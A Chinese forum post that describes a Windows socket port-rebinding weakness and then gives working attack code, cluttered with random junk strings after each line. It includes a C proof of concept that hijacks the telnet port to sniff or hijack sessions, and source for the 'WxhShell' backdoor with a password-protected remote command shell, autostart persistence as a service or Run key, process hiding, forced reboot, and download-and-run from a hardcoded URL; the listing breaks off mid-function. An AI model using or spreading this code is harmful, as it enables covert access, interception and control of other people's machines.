社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13116阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ryq"\Q>+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #>:(#^Uu  
CSL{Q  
  saddr.sin_family = AF_INET; y /:T(tk$  
$C05iD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d$_q=ywc  
?5yH'9zE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sjzXJ`s  
{y:#'n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p=~h|(M|  
H : T N  
  这意味着什么?意味着可以进行如下的攻击: xeHb89GnoQ  
q#(/*AoU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (HaKF7Jsi  
|N$?_<H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <P^hYj-swh  
t+ S~u^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \5[D7}  
D=~B7b:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %7]XW2u  
.b#9q6F-/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2b#(X'ob  
wVp4c?s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {x|kg;  
$,;S\JmWP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '>e79f-O)  
P*SCHe'  
  #include (H8C\%g:  
  #include >nhE%:X>  
  #include <4Q12:  
  #include    !b7'>b'J<1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k%l_N)38  
  int main() =F'M~3M   
  { J`r,_)J"2  
  WORD wVersionRequested; {,Bb"0 \  
  DWORD ret; _;e!ZZLG  
  WSADATA wsaData; fQQsb 5=i  
  BOOL val; whY~=lizn  
  SOCKADDR_IN saddr; 7V} ]C>G  
  SOCKADDR_IN scaddr; 8Z dUPW\e  
  int err; NT@YLhs?  
  SOCKET s; mLg{6qm(q  
  SOCKET sc; 2gwZb/'i  
  int caddsize; Zlk,])9Q  
  HANDLE mt; 9fNu?dE   
  DWORD tid;   _hy{F%}  
  wVersionRequested = MAKEWORD( 2, 2 ); ;+i'0$;*w  
  err = WSAStartup( wVersionRequested, &wsaData ); l`b1%0y  
  if ( err != 0 ) { Uvh~B^6  
  printf("error!WSAStartup failed!\n"); ={`CH CI  
  return -1; BIV<ti$.  
  } Y$`eg|$  
  saddr.sin_family = AF_INET; I7fb}j`/  
   *#1y6^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fVDDYo2\  
2$ |]Vj*Zs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3I"NI.>*  
  saddr.sin_port = htons(23); *K(k Kph  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FjZc#\^9  
  { E.J 0fwyT  
  printf("error!socket failed!\n"); `ke3+%uj o  
  return -1; 9c6czirwR^  
  } skIiJ'db  
  val = TRUE; S9 G+#[.|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^kn ^CI6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E dn[cH7  
  { yB,{#nM>8  
  printf("error!setsockopt failed!\n"); (#6AKr9K  
  return -1; 5LX8:~y  
  } fB~O |g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c~}={4M]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oZvA~]x9\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 76-jMcGi  
{~bIA!kAFI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0n:?sFY>  
  { ?;|@T ty%  
  ret=GetLastError(); F{k$Atb?g/  
  printf("error!bind failed!\n"); BXg!zW%+  
  return -1; >Mvka;T]  
  } yiV G ]s  
  listen(s,2); ~:>AR` 9G  
  while(1) #:J: YMv  
  { Kt W6AZJ  
  caddsize = sizeof(scaddr); {p`mfEE (  
  //接受连接请求 q,B3ru.?d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e>l,(ql  
  if(sc!=INVALID_SOCKET) FR x6c  
  { E *F*nd]K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w6T[hZ 9  
  if(mt==NULL) &{%MjKJ._  
  { v6s\Z\v)Q`  
  printf("Thread Creat Failed!\n"); :qKF58W  
  break; q!6|lZB3  
  } &]P"48NT  
  } DY9fF4[9a  
  CloseHandle(mt); |3}5:k  
  } 2fl4h<V  
  closesocket(s); &E bI Op  
  WSACleanup(); ;%' b;+  
  return 0; "8N"Udu  
  }   TQP+>nS,  
  DWORD WINAPI ClientThread(LPVOID lpParam) R?cUy8?'S  
  { _!n}P5  
  SOCKET ss = (SOCKET)lpParam; i S%  
  SOCKET sc; OJAx:&]3  
  unsigned char buf[4096]; L#D9@V'z  
  SOCKADDR_IN saddr; *q0`})IQ  
  long num; *'D=1{WZ!  
  DWORD val; z[fB!O  
  DWORD ret; w |_GV}#_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \6sqyWI %  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xXX/]x>  
  saddr.sin_family = AF_INET; A\K,_&x1Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kt^yj"C>  
  saddr.sin_port = htons(23); NYBe"/}GS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5h0>!0  
  { 6*IpAIh  
  printf("error!socket failed!\n"); 0n3D~Xzd  
  return -1; XCDSmZ  
  } 9tn;L"#&N  
  val = 100; /aZE,IeEz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6*u,c^a  
  { nH@(Y&S  
  ret = GetLastError(); m0|K#^  
  return -1; -hWC_X:9jP  
  } Y\xUT>(J7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x?"#gK`3;  
  { bAf,aV/C&|  
  ret = GetLastError(); 7+}JgUh  
  return -1; wtXY: O  
  } %Rp8{.t7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AoYaVlKG8  
  { IdPn%)>6  
  printf("error!socket connect failed!\n"); ,CciTXf  
  closesocket(sc); J$Fnm\  
  closesocket(ss); #^6^  
  return -1; )MZC>:  
  } !VwmPAMr#v  
  while(1) y4@gGC=  
  { $Pxb1E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G"T\=cQz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uWjN2#&,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fc@'9- pt  
  num = recv(ss,buf,4096,0); $X \va?(  
  if(num>0) M;+IZr Wkl  
  send(sc,buf,num,0); fkjeR B  
  else if(num==0) XphE loL  
  break; !:WW  
  num = recv(sc,buf,4096,0); IG< H"tQ  
  if(num>0) J8?2R^;{  
  send(ss,buf,num,0); n9%]-s\Hn  
  else if(num==0) >"v9iT  
  break; pMR,#[U<  
  } 1<.5ub*i4  
  closesocket(ss); {uU 2)5i2-  
  closesocket(sc); $ rUSKm#  
  return 0 ; ACg;CTB b  
  } pr tK:eGe2  
tdep|sD  
A%u_&a}  
========================================================== m:uPEpcU  
+dk f cG  
下边附上一个代码,,WXhSHELL [:h5}  
;HNq>/{  
========================================================== <8!  Tq  
;au*V5a%  
#include "stdafx.h" ,zhJY ?sk  
VfSj E.|  
#include <stdio.h> e_.Gw"/Yl  
#include <string.h> 6)qp*P$L  
#include <windows.h> rh!;|xB|+  
#include <winsock2.h> #(KDjnP[  
#include <winsvc.h> HeLG?6  
#include <urlmon.h> d(-EcY>?  
\OQkZ.cU;  
#pragma comment (lib, "Ws2_32.lib") Apj;  
#pragma comment (lib, "urlmon.lib") H4:&%"j7  
?>$l  
#define MAX_USER   100 // 最大客户端连接数 0 Y>M=|  
#define BUF_SOCK   200 // sock buffer edipA P~!  
#define KEY_BUFF   255 // 输入 buffer kJ{+M]pW  
%Jp|z? [/  
#define REBOOT     0   // 重启 aI3CNeav  
#define SHUTDOWN   1   // 关机 _{4^|{>Pv  
e(?]SU|  
#define DEF_PORT   5000 // 监听端口 =2Cj,[$  
wM~H(=s`D  
#define REG_LEN     16   // 注册表键长度 wi_'iv  
#define SVC_LEN     80   // NT服务名长度 7b[wu~'( n  
5'KA'>@  
// 从dll定义API ),(V6@Z?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /(hUfYm0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iEm ?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [;A[.&6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u 8^{  
/mA,F;   
// wxhshell配置信息 X6\ sF"E  
struct WSCFG { >yB(lKV  
  int ws_port;         // 监听端口 NX[4PKJ0C  
  char ws_passstr[REG_LEN]; // 口令 /Fgw$ ^H  
  int ws_autoins;       // 安装标记, 1=yes 0=no -F@L}|  
  char ws_regname[REG_LEN]; // 注册表键名 YJ_\Ns+Ow  
  char ws_svcname[REG_LEN]; // 服务名 zmI]cD@G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *JX;|S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z//VlB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?'s6Xmd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no - +> 1r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :o46rBs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q?):oJ  
1yQejw  
}; $q$7^ r@  
i/H+xrCK  
// default Wxhshell configuration `R"~v/x  
struct WSCFG wscfg={DEF_PORT, jYRP8 Yi  
    "xuhuanlingzhe", I_1e?\  
    1, I%j_"r9-I  
    "Wxhshell", *.#oxcll  
    "Wxhshell", >UDd @  
            "WxhShell Service", - e"jw#B  
    "Wrsky Windows CmdShell Service", .,0bE  
    "Please Input Your Password: ", =WIJ>#Go<  
  1, :,B7-kBw  
  "http://www.wrsky.com/wxhshell.exe", X] %itA  
  "Wxhshell.exe" *v ?m6R=)h  
    }; 83%)/_&  
3"N)xO-  
// 消息定义模块  -I.d}[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1)m@?CaI`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TaE~s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iOAbaPN  
char *msg_ws_ext="\n\rExit."; x'<K\qp{{  
char *msg_ws_end="\n\rQuit."; zcrY>t#l  
char *msg_ws_boot="\n\rReboot..."; |`Or'%|PR  
char *msg_ws_poff="\n\rShutdown..."; #@HF<'H}mu  
char *msg_ws_down="\n\rSave to "; $+p?Y)h .  
d?wc*N3  
char *msg_ws_err="\n\rErr!"; .*g0w`H5pU  
char *msg_ws_ok="\n\rOK!"; b~=0[Rv  
t>=fTkB  
char ExeFile[MAX_PATH]; 1u3, '8F  
int nUser = 0; Rk!X]-`=  
HANDLE handles[MAX_USER]; \K`L3*cBKK  
int OsIsNt; 5GA C`}}  
v6.t{6zYgY  
SERVICE_STATUS       serviceStatus; #7ohQrP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U_x)#,4  
Hso|e?Z  
// 函数声明 H0m|1 7  
int Install(void); tW WWx~k  
int Uninstall(void); y!tC20Q   
int DownloadFile(char *sURL, SOCKET wsh); KlRr8 G!Z  
int Boot(int flag); A,  3bC  
void HideProc(void); f+8wl!M+6  
int GetOsVer(void); / 0 O=(  
int Wxhshell(SOCKET wsl); '3zc|eJt&  
void TalkWithClient(void *cs); '5&s=M_  
int CmdShell(SOCKET sock); .<@8gNm3  
int StartFromService(void); [ ol9|sdu  
int StartWxhshell(LPSTR lpCmdLine); kuyjnSo9i  
jC bV,0)^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y@0E[/O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BauU{:Sh  
!*R qCS,  
// 数据结构和表定义 DL$@?.?I  
SERVICE_TABLE_ENTRY DispatchTable[] = -py@DzK  
{ FEVEp  
{wscfg.ws_svcname, NTServiceMain}, Tg!m`9s+  
{NULL, NULL} ~e6Brq  
}; I(S`j[U  
4R18A=X  
// 自我安装 :oJ=iB'Zc  
int Install(void) 'Ut7{rZ5  
{ I f\fLhM  
  char svExeFile[MAX_PATH]; 6DH~dL_",%  
  HKEY key; D$t k<{)oB  
  strcpy(svExeFile,ExeFile); *S2ypzwRZ,  
[Xb@Wh:yG  
// 如果是win9x系统,修改注册表设为自启动 9eH$XYy  
if(!OsIsNt) { u~A6bK*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BNL;Biy t7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uEX!xx?Q#  
  RegCloseKey(key); JvY}-}?c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dCRyOid$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /~zai}  
  RegCloseKey(key); yUpgoX(6  
  return 0; FCnm1x#  
    } hCC<?5q  
  } (1#J%  
} Q%xC}||1s"  
else { 6i1LjLB  
#Y$hNQQ$F  
// 如果是NT以上系统,安装为系统服务 h*-Pr8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PYGRsrcFd#  
if (schSCManager!=0) )jt #=9ZQ  
{ A!h`]%0B  
  SC_HANDLE schService = CreateService D8$G`~hD  
  ( ZMel{w`n  
  schSCManager, [eC2"&}  
  wscfg.ws_svcname, .ev?"!Vpp9  
  wscfg.ws_svcdisp, _H5o'>=  
  SERVICE_ALL_ACCESS, HSc~*Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1fpQLaT  
  SERVICE_AUTO_START, %44leINx  
  SERVICE_ERROR_NORMAL, UEguF &  
  svExeFile, ljb7oA3cP4  
  NULL, =>_\fNy  
  NULL, m6w].-D8  
  NULL, p>4-s, W  
  NULL, dw*_(ys  
  NULL XCBL}pNkR  
  ); >Wv;R2|  
  if (schService!=0) A<??T[  
  { ~^1{B\I  
  CloseServiceHandle(schService); CLUW!F  
  CloseServiceHandle(schSCManager); mWsI}2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [k/@E+;  
  strcat(svExeFile,wscfg.ws_svcname); )r jiY%F$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (jAg_$6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <$IM8Y5p+w  
  RegCloseKey(key); i%0ur}p  
  return 0; EwvoQ$#jv  
    } g\&g N  
  } K1M%!JKh)x  
  CloseServiceHandle(schSCManager); TA4!$7b$  
} E>D_V@,/  
} E&[{4Ml  
5:KQg  
return 1; Zg{KFM%  
} ppVHLrUh  
@X#F3;  
// 自我卸载 }f6HYU  
int Uninstall(void) oYH^_V  
{ ,Ge"anO  
  HKEY key; z?R|Ok  
!WQ-=0cm  
if(!OsIsNt) { -#N.X_F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VgZsB$Ori  
  RegDeleteValue(key,wscfg.ws_regname); @eKec1<  
  RegCloseKey(key); ddJe=PUb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /7Cc#P6  
  RegDeleteValue(key,wscfg.ws_regname); :% ,:"  
  RegCloseKey(key); #ML%ij 1  
  return 0; ]H+8rY%+  
  } ,)Znb=  
} 7`DBS^O]dG  
} $#9;)8J  
else { %[ Z \S0C  
e?8FN. q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n'E(y)9|  
if (schSCManager!=0) pL/DZ|S3  
{ *V8<:OG|e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {tYZt4!{^  
  if (schService!=0) %N>%!m  
  { w"Gm;B4  
  if(DeleteService(schService)!=0) { of%Ktm5Qi  
  CloseServiceHandle(schService); RAgg:3^  
  CloseServiceHandle(schSCManager); C26>BU<  
  return 0; 3u*4o=4e  
  } &m)6J'q3k  
  CloseServiceHandle(schService); pZqq]mHK  
  }  KY$)#i  
  CloseServiceHandle(schSCManager); #P0&ewy  
} Whm,F^  
} o$jLzE"  
uKUiV%p!  
return 1; g| I6'K!<  
} O;:mCt _H  
z[L8$7L  
// 从指定url下载文件 !Prg_6 `  
int DownloadFile(char *sURL, SOCKET wsh) v$?+MNks  
{ Nfrw0b  
  HRESULT hr; $P^q!H4D  
char seps[]= "/"; S2sQOM@  
char *token; N4F.Y"R$(  
char *file; 6xTuNE1  
char myURL[MAX_PATH]; MyJ%`@+1  
char myFILE[MAX_PATH]; {?}E^5Z*g  
0zmE>/O+  
strcpy(myURL,sURL); cUKE   
  token=strtok(myURL,seps); Hq:X{)"  
  while(token!=NULL) qr"3y  
  { 5Ha9lM2gh  
    file=token; 5q3JI  
  token=strtok(NULL,seps); gmw|H?]  
  } cQCSe,$ W  
G|!Tj X7s  
GetCurrentDirectory(MAX_PATH,myFILE); |"ls\ 7  
strcat(myFILE, "\\"); Yvw(t j5_5  
strcat(myFILE, file); ayR-\mZ  
  send(wsh,myFILE,strlen(myFILE),0); M?Y;a5{  
send(wsh,"...",3,0); ,8U &?8l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); snE8 K}4  
  if(hr==S_OK) [=6]+V83M  
return 0; y\4L{GlBM  
else s~ a"4~f  
return 1; f-vCm 5f  
Dp,L/1GQ8  
} 89pEfl j2  
%g{X?  
// 系统电源模块 h7G"G"  
int Boot(int flag) _|kxY '_[8  
{ J=9FRC  
  HANDLE hToken; >JHryS.j$4  
  TOKEN_PRIVILEGES tkp; @vC4[:"pD}  
JVvs-bK5  
  if(OsIsNt) { FtP0krO(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xix L  R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Gw/Pk4R  
    tkp.PrivilegeCount = 1; S 6@u@C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4KhV|#-;k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i1ixi\P{0  
if(flag==REBOOT) { 6tgt>\y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]sf7{lVT  
  return 0; :%t U'w  
} ?pW`cFLDHF  
else { GZN ^k+w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6M @[B|Q(  
  return 0; n4;.W#\  
} }aa'\8  
  } ,>bh$|  
  else { I667Gz$j5  
if(flag==REBOOT) { kJ'!r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :;t:H] f  
  return 0; 0gW"i&7c  
} q6McGHT  
else { &N2N6&Ta/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EizKoHI-z  
  return 0; (9''MlGd%  
} Q|S.R1L^  
} \FQRNj?'_  
jFQQ`O V  
return 1; 2V- 16Q'%  
} Z3"%`*Tmq-  
k^3>Y%^1  
// win9x进程隐藏模块 EU2$f  
void HideProc(void) D=q:*x  
{ l: HTk4$0  
-u6bAQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \ :%(q/v"X  
  if ( hKernel != NULL ) T,,WoPU8t  
  { yr)G]K[/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %P;lv*v.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |HiE@  
    FreeLibrary(hKernel); y`Wty@  
  } >:74%D0UF  
[owWiN4`s  
return; Ci@o|Y }tP  
} jD$,.AVvz  
"@e3EX7h  
// 获取操作系统版本 =_.l8IYX$%  
int GetOsVer(void) dN$0OS`s[  
{ e>} s;H,  
  OSVERSIONINFO winfo; .[]r}[lU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0.`/X66;V  
  GetVersionEx(&winfo); {% rA1g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0IsPIi"7  
  return 1; .?8;qA  
  else wcrCEX=I>{  
  return 0; -o ^7r@6  
} U$O\f18  
u 1>2v  
// 客户端句柄模块 wT6"U$cV  
int Wxhshell(SOCKET wsl) pj\u9 L_  
{ du<tGsy  
  SOCKET wsh; [g7L&`f9  
  struct sockaddr_in client; g;H=6JeG/  
  DWORD myID; ^h(ew1:  
t|w_i-&b,  
  while(nUser<MAX_USER) Km qMFB62  
{ hE-h`'ha`  
  int nSize=sizeof(client); @x*c1%wg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +%+tr*04O  
  if(wsh==INVALID_SOCKET) return 1; KoOz#,()  
rMdt:`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?h$NAL?  
if(handles[nUser]==0) ef 8s<5"4  
  closesocket(wsh); AHD=<7Rs  
else ]0Y4U7W  
  nUser++; ,82S=N5V!  
  } P{8iJ`rBG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y>dF5&(kb  
/K+r? ]kf  
  return 0; rJ`!:f  
} 3atBX5  
{ }:#G  
// 关闭 socket 1h^:[[!c  
void CloseIt(SOCKET wsh) m]'#t)B_m  
{ "IZa!eUW  
closesocket(wsh); 0pZ4BZdT|  
nUser--; {j{u6i  
ExitThread(0); 8o3E0k1  
} NxkGOAOE  
_~'=C#XI)  
// 客户端请求句柄 !8TlD-ZT/  
void TalkWithClient(void *cs) prWk2_D;*  
{ K?6jXJseb  
qrb[-|ie&  
  SOCKET wsh=(SOCKET)cs; !]"@kl%  
  char pwd[SVC_LEN]; sfpZc7  
  char cmd[KEY_BUFF]; Q)~aiI0  
char chr[1]; T`9lV2x*P  
int i,j; .iYJr;9`d  
W/=.@JjI  
  while (nUser < MAX_USER) { FI)17i$  
^%d\qd`   
if(wscfg.ws_passstr) { YX!{P=Ua  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n7zm>&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %41m~Wh2  
  //ZeroMemory(pwd,KEY_BUFF); Mer/G2#&  
      i=0; lS"T4 5  
  while(i<SVC_LEN) { Jf{*PgP  
<ykU6=  
  // 设置超时 E~DQ-z  
  fd_set FdRead; q;B4WL}  
  struct timeval TimeOut; h\$$JeSV]  
  FD_ZERO(&FdRead); #Vnkvvv  
  FD_SET(wsh,&FdRead); kDEXN  
  TimeOut.tv_sec=8; .u)X3..J  
  TimeOut.tv_usec=0; iJ ($YvF4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y[ j6u\y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6O7'!@@  
wx]0p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h&M{]E9=  
  pwd=chr[0]; h}>"j%I  
  if(chr[0]==0xd || chr[0]==0xa) { Z&G+bdA>,  
  pwd=0; |hKDvH  
  break; 7!$Q;A  
  } WQx?[tW(U  
  i++; c/:b.>W  
    } ~Zun&b)S  
5-FQMXgThc  
  // 如果是非法用户,关闭 socket 2Sle#nw3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F3y9@dA]  
} S50k>_a;  
s,"]aew  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?so=;gh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]RZ|u*l=x  
&9.Cl;I  
while(1) { WEw6He;  
vt/x ,Y  
  ZeroMemory(cmd,KEY_BUFF); cb@?}(aFl  
C1V|0h u  
      // 自动支持客户端 telnet标准   6`&a&%,O  
  j=0; ML}J\7R  
  while(j<KEY_BUFF) { Y@NNrGDkT*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \e:7)R2<!x  
  cmd[j]=chr[0]; w VvF^VHV^  
  if(chr[0]==0xa || chr[0]==0xd) { %h hfU6[  
  cmd[j]=0; ]RwpX ^ 1  
  break; ,bZL C  
  } N,<uf@LQ  
  j++; <]6SN  
    } UBv,=v  
df*#!D7oz  
  // 下载文件 3RigzT3  
  if(strstr(cmd,"http://")) { 59 h]UX=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ka'=o?'B5  
  if(DownloadFile(cmd,wsh)) C0sX gM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vouvr<43o  
  else 2VPdw@"~}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J9..P&c\  
  } ISzqEi  
  else { $6#CqWhI  
L,HhbTRca  
    switch(cmd[0]) { Je';9(ZK  
  gl~ecc  
  // 帮助  Z< 1  
  case '?': { rbul8(1h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z@yW bjE7Z  
    break; 3>3Kwc~E  
  } 9G9t" {  
  // 安装 ?L x24*5%  
  case 'i': { .zr-:L5{  
    if(Install()) $6qh| >z.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gLb`pCo/  
    else 2ElJbN#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UI0( =>L  
    break; ;RH;OE,A  
    } 2my_;!6T[  
  // 卸载 8mCxn@yV  
  case 'r': { mJ<=n?{Z  
    if(Uninstall()) :)8VdWg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _aq 8@E~  
    else t;){D:]k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j SHk{T!J  
    break; .L+6 $8m  
    } /hpY f]t  
  // 显示 wxhshell 所在路径 c|f<u{'  
  case 'p': { l\f*d6o  
    char svExeFile[MAX_PATH]; J; S (>c  
    strcpy(svExeFile,"\n\r"); &PL8|w  
      strcat(svExeFile,ExeFile); dR K?~1  
        send(wsh,svExeFile,strlen(svExeFile),0); bes<qy  
    break; 4M^= nae  
    } oxr#7Ei0d  
  // 重启 yyR0]NzYUD  
  case 'b': { I.I`6(Cb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )i6mzzj5  
    if(Boot(REBOOT)) &`h{i K7  
